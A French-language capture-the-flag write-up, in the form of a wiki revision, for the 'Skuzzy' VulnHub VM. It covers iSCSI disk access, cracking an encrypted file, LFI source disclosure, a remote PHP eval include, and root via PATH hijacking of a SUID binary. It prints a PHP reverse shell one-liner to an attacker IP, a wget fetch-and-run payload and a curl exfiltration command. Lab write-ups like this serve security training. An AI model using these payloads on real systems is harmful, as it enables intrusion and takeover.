Ci-dessous, les différences entre deux révisions de la page.
— |
vm:skuzzy [2017/03/27 14:46] (Version actuelle) arkinar créée |
||
---|---|---|---|
Ligne 1: | Ligne 1: | ||
+ | **EW - Skuzzy - Write Up** | ||
+ | __Reconnaissance__ | ||
+ | |||
+ | <code BASH> | ||
+ | nmap -sS -A 192.168.43.19 | ||
+ | |||
+ | PORT STATE SERVICE VERSION | ||
+ | 22/tcp open ssh (protocol 2.0) | ||
+ | 80/tcp open http nginx | ||
+ | 3260/tcp open iscsi | ||
+ | |||
+ | </code> | ||
+ | |||
+ | __Exploitation web__ | ||
+ | |||
+ | On commence par le port 80 : | ||
+ | |||
+ | {{ :vm:index.png?nolink&300 |}} | ||
+ | |||
+ | L'auteur nous indique d'utiliser dirb. | ||
+ | |||
+ | <code BASH> | ||
+ | ./dirb http://192.168.43.19 wordlist/common.txt | ||
+ | </code> | ||
+ | 3 fichiers avec un code 200 : | ||
+ | |||
+ | 1er résultat : index.html | ||
+ | |||
+ | 2ème résultat une video youtube : | ||
+ | [[http://192.168.43.19/smblogin/custom-log/refer/del/arquivos/_archive/autodeploy/Links/pdf/portals/images3/forgotpassword/tuscany/send-password/catalog/tell_friend/queues/month/checking/mode/xmlrpc.php]] | ||
+ | |||
+ | |||
+ | 3ème résultat : | ||
+ | [[http://192.168.43.19/smblogin/custom-log/refer/del/arquivos/_archive/autodeploy/Links/pdf/portals/images3/forgotpassword/tuscany/send-password/catalog/tell_friend/queues/month/checking/mode/trap/affiliates/dba/program/font/index.html]] | ||
+ | |||
+ | {{ :vm:flag1.jpg?nolink&300 |}} | ||
+ | |||
+ | Pourtant en regardant le code source on peut lire en commentaire : | ||
+ | <code> | ||
+ | SGVsbG8sIGlzIGl0IGZsYWdzIHlvdSdyZSBsb29raW5nIGZvcj8KSSBjYW4gc2VlIGl0IGluIHlv | ||
+ | dXIgZXllcwpJIGNhbiBzZWUgaXQgaW4geW91ciBzbWlsZQpGbGFncyBhcmUgYWxsIEkndmUgZXZl | ||
+ | ciB3YW50ZWQgYW5kIG15IHBvcnRzIGFyZSBvcGVuIHdpZGUgCkNhdXNlIHlvdSBrbm93IGp1c3Qg | ||
+ | d2hhdCB0byBzYXkgYW5kIHlvdSBrbm93IGp1c3Qgd2hhdCB0byBkbwpBbmQgSSB3YW50IHRvIHRl | ||
+ | bGwgeW91IHNvIG11Y2gsIG5vIGZsYWdzIGZvciB5b3UuLi4K | ||
+ | </code> | ||
+ | |||
+ | On décode alors le base64 : | ||
+ | <code bash> | ||
+ | cat base64.txt | base64 -d | ||
+ | |||
+ | Hello, is it flags you're looking for? | ||
+ | I can see it in your eyes | ||
+ | I can see it in your smile | ||
+ | Flags are all I've ever wanted and my ports are open wide | ||
+ | Cause you know just what to say and you know just what to do | ||
+ | And I want to tell you so much, no flags for you... | ||
+ | </code> | ||
+ | |||
+ | Il faut donc aller voir du coté des autres ports. | ||
+ | |||
+ | Je suis tombé sur un article expliquant comme exploiter le iscsi [[https://www.pentestpartners.com/blog/an-interesting-route-to-domain-admin-iscsi/| ici]] | ||
+ | |||
+ | Nous utilisons l'outils iscsiadm de la suite open-iscsi : | ||
+ | |||
+ | Nous listons les noeuds disponibles : | ||
+ | <code bash> | ||
+ | >iscsiadm -m discovery -t st -p 192.168.43.19:3260 | ||
+ | 192.168.43.19:3260,1 iqn.2017-02.local.skuzzy:storage.sys0 | ||
+ | </code> | ||
+ | |||
+ | Maintenant nous nous connectons sur le noeud : | ||
+ | <code bash> | ||
+ | >iscsiadm -m node -p 192.168.43.19 --target iqn.2017-02.local.skuzzy:storage.sys0 --login | ||
+ | Logging in to [iface: default, target: iqn.2017-02.local.skuzzy:storage.sys0, portal: 192.168.43.19,3260] (multiple) | ||
+ | Login to [iface: default, target: iqn.2017-02.local.skuzzy:storage.sys0, portal: 192.168.43.19,3260] successful. | ||
+ | </code> | ||
+ | |||
+ | Une partition à été réjouté à notre système : | ||
+ | <code bash> | ||
+ | fdisk -l | ||
+ | |||
+ | Disque /dev/sdc : 1 GiB, 1073741824 octets, 2097152 secteurs | ||
+ | Unités : secteur de 1 × 512 = 512 octets | ||
+ | Taille de secteur (logique / physique) : 512 octets / 512 octets | ||
+ | taille d'E/S (minimale / optimale) : 512 octets / 512 octets | ||
+ | </code> | ||
+ | |||
+ | On créé un dossier et on monte la partition : | ||
+ | |||
+ | <code bash> | ||
+ | mkdir /mnt/skuzzy | ||
+ | |||
+ | mount /dev/sdc /mnt/skuzzy | ||
+ | |||
+ | </code> | ||
+ | Son contenu est le suivant : | ||
+ | <code> | ||
+ | -rw-r--r-- 1 root root 100M mars 5 10:00 bobsdisk.dsk | ||
+ | -rw-r--r-- 1 root root 143 févr. 28 09:48 flag1.txt | ||
+ | drwx------ 2 root root 16K févr. 28 09:39 lost+found | ||
+ | </code> | ||
+ | |||
+ | On affiche le premier flag : | ||
+ | <code bash> | ||
+ | cat flag1.txt | ||
+ | Congratulations! You've discovered the first flag! | ||
+ | |||
+ | flag1{c0abc15976b98a478150c900ebb0c86f0327f4dd} | ||
+ | |||
+ | Let's see how you go with the next one... | ||
+ | </code> | ||
+ | |||
+ | Nous montons le fichier **bobsdisk.dsk** en lecture seul : | ||
+ | |||
+ | <code bash> | ||
+ | mount -o ro /home/ark1nar/vulnhub/Skuzzy/iscsi/bobsdisk.dsk /mnt/temp | ||
+ | </code> | ||
+ | |||
+ | Son contenu est le suivant : | ||
+ | <code> | ||
+ | drwx------ 2 root root 12K févr. 28 09:56 lost+found | ||
+ | -rw-r--r-- 1 root root 288 févr. 28 10:25 ToAlice.csv.enc | ||
+ | -rw-r--r-- 1 root root 2,3K mars 5 10:00 ToAlice.eml | ||
+ | </code> | ||
+ | |||
+ | On affiche le deuxième flag : | ||
+ | <code bash> | ||
+ | cat ToAlice.eml | ||
+ | flag2{054738a5066ff56e0a4fc9eda6418478d23d3a7f} | ||
+ | </code> | ||
+ | |||
+ | Dans le fichier en plus du flag 2 : | ||
+ | |||
+ | <file txt ToALice.eml> | ||
+ | G'day Alice, | ||
+ | [...] had spilled their fancy 256 bit Lego kit all over the damn floor. Sigh. Of course I trod on it making my coffee, the level of pain really does ROCKYOU to the core when it happens! [...] I've encrypted it using my new favourite symmetric key crypto algorithm, it should be on the disk with this note. [...] | ||
+ | Cheers, | ||
+ | Bob. | ||
+ | PS:[...]I used the command option -md sha256 when decrypting[...] | ||
+ | </file> | ||
+ | |||
+ | Le texte fait de gros sous-entendu en vers l'aes256 qui serait déchiffrable avec le dictionnaire rockyou.txt | ||
+ | |||
+ | Pour cela on utilise l'outil [[https://github.com/glv2/bruteforce-salted-openssl | bruteforce-salted-openssl]] | ||
+ | <code bash> | ||
+ | ./bruteforce-salted-openssl -t 6 -f ~/outils/wordlist/rockyou.txt -d sha256 -c aes256 ~/vulnhub/Skuzzy/hdd/ToAlice.csv.enc | ||
+ | |||
+ | Tried passwords: 3475549 | ||
+ | Tried passwords per second: 1158516,333333 | ||
+ | Last tried password: | ||
+ | Password candidate: supercalifragilisticoespialidoso | ||
+ | </code> | ||
+ | |||
+ | On déchiffre le fichier : | ||
+ | <code bash> | ||
+ | openssl enc -d -aes256 -salt -in ToAlice.csv.enc -out output.csv -md SHA256 | ||
+ | |||
+ | Web Path,Reason | ||
+ | 5560a1468022758dba5e92ac8f2353c0,Black hoodie. Definitely a hacker site! | ||
+ | c2444910794e037ebd8aaf257178c90b,Nice clean well prepped site. Nothing of interest here. | ||
+ | flag3{2cce194f49c6e423967b7f72316f48c5caf46e84},The strangest URL I've seen? What is it? | ||
+ | </code> | ||
+ | On a notre flag3 ! | ||
+ | |||
+ | Sur la première url : | ||
+ | [[http://192.168.43.19/5560a1468022758dba5e92ac8f2353c0/]] | ||
+ | {{ :vm:hacker.png?nolink&400 |}} | ||
+ | |||
+ | Dans le code source encore du base64 , on le décode : | ||
+ | <code bash> | ||
+ | echo 'R2VvcmdlIENvc3RhbnphOiBbU291cCBOYXppIGdpdmVzIGhpbSBhIGxvb2tdIE1lZGl1bSB0dXJr | ||
+ | ZXkgY2hpbGkuIApbaW5zdGFudGx5IG1vdmVzIHRvIHRoZSBjYXNoaWVyXSAKSmVycnkgU2VpbmZl | ||
+ | bGQ6IE1lZGl1bSBjcmFiIGJpc3F1ZS4gCkdlb3JnZSBDb3N0YW56YTogW2xvb2tzIGluIGhpcyBi | ||
+ | YWcgYW5kIG5vdGljZXMgbm8gYnJlYWQgaW4gaXRdIEkgZGlkbid0IGdldCBhbnkgYnJlYWQuIApK | ||
+ | ZXJyeSBTZWluZmVsZDogSnVzdCBmb3JnZXQgaXQuIExldCBpdCBnby4gCkdlb3JnZSBDb3N0YW56 | ||
+ | YTogVW0sIGV4Y3VzZSBtZSwgSSAtIEkgdGhpbmsgeW91IGZvcmdvdCBteSBicmVhZC4gClNvdXAg | ||
+ | TmF6aTogQnJlYWQsICQyIGV4dHJhLiAKR2VvcmdlIENvc3RhbnphOiAkMj8gQnV0IGV2ZXJ5b25l | ||
+ | IGluIGZyb250IG9mIG1lIGdvdCBmcmVlIGJyZWFkLiAKU291cCBOYXppOiBZb3Ugd2FudCBicmVh | ||
+ | ZD8gCkdlb3JnZSBDb3N0YW56YTogWWVzLCBwbGVhc2UuIApTb3VwIE5hemk6ICQzISAKR2Vvcmdl | ||
+ | IENvc3RhbnphOiBXaGF0PyAKU291cCBOYXppOiBOTyBGTEFHIEZPUiBZT1UK' | ||
+ | |||
+ | George Costanza: [Soup Nazi gives him a look] Medium turkey chili. | ||
+ | [instantly moves to the cashier] | ||
+ | Jerry Seinfeld: Medium crab bisque. | ||
+ | George Costanza: [looks in his bag and notices no bread in it] I didn't get any bread. | ||
+ | Jerry Seinfeld: Just forget it. Let it go. | ||
+ | George Costanza: Um, excuse me, I - I think you forgot my bread. | ||
+ | Soup Nazi: Bread, $2 extra. | ||
+ | George Costanza: $2? But everyone in front of me got free bread. | ||
+ | Soup Nazi: You want bread? | ||
+ | George Costanza: Yes, please. | ||
+ | Soup Nazi: $3! | ||
+ | George Costanza: What? | ||
+ | Soup Nazi: NO FLAG FOR YOU | ||
+ | </code> | ||
+ | |||
+ | Sur la seconde url : | ||
+ | |||
+ | [[http://192.168.43.19/c2444910794e037ebd8aaf257178c90b]] | ||
+ | |||
+ | {{ :vm:great_web-app.png?nolink |}} | ||
+ | |||
+ | On détecte une LFI dans la variable "p" de l'URL. | ||
+ | |||
+ | A l'aide d'un wrapper PHP on récupère le code source des différentes page : | ||
+ | |||
+ | <code bash> | ||
+ | http://192.168.43.19/c2444910794e037ebd8aaf257178c90b/?p=php://filter/read=convert.base64-encode/resource=index.php | ||
+ | |||
+ | http://192.168.43.19/c2444910794e037ebd8aaf257178c90b/?p=php://filter/read=convert.base64-encode/resource=reader.php | ||
+ | |||
+ | http://192.168.43.19/c2444910794e037ebd8aaf257178c90b/?p=php://filter/read=convert.base64-encode/resource=flag.php | ||
+ | |||
+ | </code> | ||
+ | |||
+ | {{ :vm:great_web_app2.png?nolink |}} | ||
+ | |||
+ | Dans le fichier flag.php, on trouve le flag 4 : | ||
+ | <code> | ||
+ | flag4{4e44db0f1edc3c361dbf54eaf4df40352db91f8b} | ||
+ | </code> | ||
+ | |||
+ | Le fichier reader.php est intéressant car il nous permet d'inclure du texte distant à condition d'avoir une clé : | ||
+ | <file php reader.php> | ||
+ | [...] | ||
+ | // Handle the key validation when it's needed. | ||
+ | if($keyneeded) { | ||
+ | $key = $_GET['key']; | ||
+ | if(is_array($key)) { | ||
+ | die("Array trick is mitigated ;)"); | ||
+ | } | ||
+ | if(isset($key) && strlen($key) == '47') { | ||
+ | $hashedkey = hash('sha256', $key); | ||
+ | $secret = "5ccd0dbdeefbee078b88a6e52db8c1caa8dd8315f227fe1e6aee6bcb6db63656"; | ||
+ | |||
+ | if(strcmp($hashedkey, $secret) == 0) { | ||
+ | $secretok = true; | ||
+ | } else { | ||
+ | die("Sorry... Authentication failed. Key was invalid."); | ||
+ | } | ||
+ | |||
+ | } else { | ||
+ | die("Authentication invalid. You might need a key."); | ||
+ | } | ||
+ | } | ||
+ | |||
+ | // Just to make sure the above key check was passed. | ||
+ | if(!$secretok) { | ||
+ | die("Something went wrong with the authentication process"); | ||
+ | } | ||
+ | </file> | ||
+ | |||
+ | |||
+ | - Première élément que l'on remarque nous ne pouvons pas bypasser le strcmp avec un tableau. | ||
+ | - Deuxième élément il faut trouver une clé de 47 caractères. | ||
+ | - Troisième élément il faut que la somme sha256 de celle-ci soit égal à "5ccd0dbdeefbee078b88a6e52db8c1caa8dd8315f227fe1e6aee6bcb6db63656" | ||
+ | |||
+ | Après plusieurs tentative de cassage du hash nous tentons le guessing. | ||
+ | |||
+ | flag4{4e44db0f1edc3c361dbf54eaf4df40352db91f8b} => fait 47 caractères | ||
+ | |||
+ | Et surtout la bonne somme sha256 : | ||
+ | <code bash> | ||
+ | echo -n 'flag4{4e44db0f1edc3c361dbf54eaf4df40352db91f8b}' | sha256sum | ||
+ | 5ccd0dbdeefbee078b88a6e52db8c1caa8dd8315f227fe1e6aee6bcb6db63656 | ||
+ | </code> | ||
+ | |||
+ | Maintenant il faut regarder la partie exploitation : | ||
+ | <file php reader_part2.php> | ||
+ | // Now load the contents of the file we are reading, and parse | ||
+ | // the super awesomeness of its contents! | ||
+ | $f = file_get_contents($url); | ||
+ | |||
+ | $text = preg_split("/##text##/s", $f); | ||
+ | |||
+ | if(isset($text['1']) && strlen($text['1']) > 0) { | ||
+ | print($text['1']); | ||
+ | } | ||
+ | |||
+ | print "<br /><br />"; | ||
+ | |||
+ | $php = preg_split("/##php##/s", $f); | ||
+ | |||
+ | if(isset($php['1']) && strlen($php['1']) > 0) { | ||
+ | eval($php['1']); | ||
+ | // "If Eval is the answer, you're asking the wrong question!" - SG | ||
+ | // It hurts me to write insecure code like this, but it is in the | ||
+ | // name of education, and FUN, so I'll let it slide this time. | ||
+ | } | ||
+ | } | ||
+ | |||
+ | </file> | ||
+ | |||
+ | Le fichier nous permet d’exécuter du code php à condition qu'il soit entouré des balises ##php##. | ||
+ | |||
+ | On créé 3 fichiers : | ||
+ | |||
+ | Le premier est un reverse shell en php | ||
+ | <file bash re.sh> | ||
+ | php -r '$sock=fsockopen("192.168.43.172",1234);exec("/bin/sh -i <&3 >&3 2>&3");' | ||
+ | </file> | ||
+ | |||
+ | Le second est pour récupérer notre reverse shell | ||
+ | <file txt re.txt> | ||
+ | ##php## | ||
+ | system("wget http://192.168.43.172/re.sh -P /tmp/"); | ||
+ | ##php## | ||
+ | </file> | ||
+ | |||
+ | Le troisième est pour l’exécuter | ||
+ | <file txt re2.txt> | ||
+ | ##php## | ||
+ | system("sh /tmp/re.sh"); | ||
+ | ##php## | ||
+ | </file> | ||
+ | |||
+ | En local on démarre un netcat en écoute : | ||
+ | <code bash> | ||
+ | nc -lvp 1234 | ||
+ | </code> | ||
+ | |||
+ | On execute dans l'ordre nos deux requetes HTTP avec notre clé : | ||
+ | <code> | ||
+ | http://192.168.43.19/c2444910794e037ebd8aaf257178c90b/ | ||
+ | ?p=reader | ||
+ | &url=http://192.168.43.172/re.txt | ||
+ | &key=flag4{4e44db0f1edc3c361dbf54eaf4df40352db91f8b} | ||
+ | |||
+ | |||
+ | http://192.168.43.19/c2444910794e037ebd8aaf257178c90b/ | ||
+ | ?p=reader | ||
+ | &url=http://192.168.43.172/re2.txt | ||
+ | &key=flag4{4e44db0f1edc3c361dbf54eaf4df40352db91f8b} | ||
+ | </code> | ||
+ | |||
+ | {{ :vm:shell.png?nolink |}} | ||
+ | |||
+ | __Exploitation système && Élévation de privilège__ | ||
+ | |||
+ | On commence par regarder la version du noyau et de la distribution : | ||
+ | <code bash> | ||
+ | uname -a | ||
+ | Linux skuzzy 4.4.0-64-generic #85-Ubuntu SMP Mon Feb 20 11:50:30 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux | ||
+ | |||
+ | www-data@skuzzy:/$ lsb_release -a | ||
+ | lsb_release -a | ||
+ | No LSB modules are available. | ||
+ | Distributor ID: Ubuntu | ||
+ | Description: Ubuntu 16.04.2 LTS | ||
+ | Release: 16.04 | ||
+ | Codename: xenial | ||
+ | </code> | ||
+ | |||
+ | On cherche un exécutable qui aurait des droits root que l'on peut exécuter. | ||
+ | |||
+ | <code bash> | ||
+ | find / -user root -perm -4000 -print 2>/dev/null | ||
+ | ... | ||
+ | /usr/bin/newuidmap | ||
+ | /usr/bin/pkexec | ||
+ | /usr/bin/chfn | ||
+ | /usr/bin/newgidmap | ||
+ | /usr/bin/passwd | ||
+ | /usr/bin/sudo | ||
+ | /bin/fusermount | ||
+ | /bin/mount | ||
+ | /bin/su | ||
+ | /bin/ntfs-3g | ||
+ | /bin/ping | ||
+ | /bin/ping6 | ||
+ | /bin/umount | ||
+ | /opt/alicebackup | ||
+ | </code> | ||
+ | |||
+ | Le /opt/alicebackup à l'air prometteur. | ||
+ | |||
+ | Si on veut l'exfiltrer (vers un formulaire d'upload sur notre machine) : | ||
+ | <code bash> | ||
+ | curl -i -X POST -H "Content-Type: multipart/form-data" -F "file=@alicebackup" -F "submit=1" http://192.168.43.172/uploadFilephp.php | ||
+ | </code> | ||
+ | |||
+ | Si on l’exécute : | ||
+ | <code bash> | ||
+ | ./alicebackup | ||
+ | uid=0(root) gid=0(root) groups=0(root),33(www-data) | ||
+ | ssh: Could not resolve hostname alice.home: Name or service not known | ||
+ | lost connection | ||
+ | </code> | ||
+ | |||
+ | On remarque que l'exécutable fait appel à deux commande id et ssh sans spécifié leur chemin complet. | ||
+ | Nous allons exploité cette vulnérabilité pour lui faire exécuter un shell root. | ||
+ | |||
+ | On créé un fichier id contenant le chemin /bin/sh | ||
+ | <code bash> | ||
+ | echo '/bin/sh' >/tmp/id | ||
+ | chmod +x /tmp/id | ||
+ | </code> | ||
+ | |||
+ | On récupère le contenu de $PATH ça nous resservira plus tard | ||
+ | <code bash> | ||
+ | echo $PATH | ||
+ | /usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin:/bin:/sbin:. | ||
+ | </code> | ||
+ | |||
+ | On modifie le répertoire du $PATH: | ||
+ | |||
+ | <code bash> | ||
+ | www-data@skuzzy:/tmp$ export PATH=/tmp/ | ||
+ | export PATH=/tmp/ | ||
+ | </code> | ||
+ | |||
+ | Il ne reste plus qu'a exécuter alicebackup pour obtenir le root : | ||
+ | |||
+ | <code bash> | ||
+ | $ /opt/alicebackup | ||
+ | /opt/alicebackup | ||
+ | </code> | ||
+ | |||
+ | On redéfinit le $PATH : | ||
+ | |||
+ | <code bash> | ||
+ | export PATH=/usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin:/bin:/sbin | ||
+ | |||
+ | id | ||
+ | uid=0(root) gid=0(root) groups=0(root),33(www-data) | ||
+ | </code> | ||
+ | |||
+ | On affiche le flag 5 : | ||
+ | <code bash> | ||
+ | cat /root/flag.txt | ||
+ | Congratulations! | ||
+ | |||
+ | flag5{42273509a79da5bf49f9d40a10c512dd96d89f6a} | ||
+ | |||
+ | You've found the final flag and pwned this CTF VM! | ||
+ | |||
+ | I really hope this was an enjoyable challenge, and that my trolling and messing with you didn't upset you too much! I had a blast making this VM, so it won't be my last! | ||
+ | |||
+ | I'd love to hear your thoughts on this one. | ||
+ | Too easy? | ||
+ | Too hard? | ||
+ | Too much stuff to install to get the iSCSI initiator working? | ||
+ | |||
+ | Drop me a line on twitter @vortexau, or via email vortex@juicedigital.net | ||
+ | </code> | ||
+ | |||
+ | |||
+ | Merci à l'auteur de la vm! |